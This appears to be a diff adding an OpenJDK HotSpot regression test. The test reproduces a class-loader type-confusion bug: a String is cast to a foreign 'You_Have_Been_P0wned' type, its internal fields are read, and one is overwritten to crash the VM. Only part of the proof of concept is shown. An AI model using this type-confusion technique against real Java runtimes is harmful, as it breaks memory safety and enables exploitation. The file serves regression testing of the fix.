--- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+++ b/hotspot/test/runtime/6626217/bug_21227.java	Tue Aug 17 22:52:50 2010 -0700
@@ -0,0 +1,61 @@
+
+import java.lang.reflect.*;
+import java.security.*;
+
+abstract public class bug_21227 {
+
+  // Jam anything you want in here, it will be cast to a You_Have_Been_P0wned
+  public static Object _p0wnee;
+
+  public static void main(String argv[]) throws ClassNotFoundException, InstantiationException, IllegalAccessException {
+    System.out.println("Warmup");
+
+    // Make a Class 'many_loader' under the default loader
+    bug_21227 bug = new many_loader();
+
+    // Some classes under a new Loader, LOADER2, including another version of 'many_loader'
+    ClassLoader LOADER2 = new Loader2();
+    Class clazz2 = LOADER2.loadClass("from_loader2");
+    IFace iface = (IFace)clazz2.newInstance();
+
+    // Set the victim, a String of length 6
+    String s = "victim";
+    _p0wnee = s;
+
+    // Go cast '_p0wnee' to type You_Have_Been_P0wned
+    many_loader[] x2 = bug.make(iface);
+
+    many_loader b = x2[0];
+
+    // Make it clear that the runtime type many_loader (what we get from the
+    // array X2) varies from the static type of many_loader.
+    Class cl1 = b.getClass();
+    ClassLoader ld1 = cl1.getClassLoader();
+    Class cl2 = many_loader.class;
+    ClassLoader ld2 = cl2.getClassLoader();
+    System.out.println("bug.make()  "+ld1+":"+cl1);
+    System.out.println("many_loader "+ld2+":"+cl2);
+
+    // Read the victims guts out
+    You_Have_Been_P0wned q = b._p0wnee;
+    System.out.println("q._a = 0x"+Integer.toHexString(q._a));
+    System.out.println("q._b = 0x"+Integer.toHexString(q._b));
+    System.out.println("q._c = 0x"+Integer.toHexString(q._c));
+    System.out.println("q._d = 0x"+Integer.toHexString(q._d));
+
+    System.out.println("I will now crash the VM:");
+    // On 32-bit HotSpot Java6 this sets the victim String length shorter, then crashes the VM
+    //q._c = 3;
+    q._a = -1;
+
+    System.out.println(s);
+
+  }
+
+  // I need to compile (hence call in a loop) a function which returns a value
+  // loaded from classloader other than the system one.  The point of this
+  // call is to give me an abstract 'hook' into a function loaded with a
+  // foreign loader.
+  public abstract many_loader[] make( IFace iface ); // abstract factory
+}
+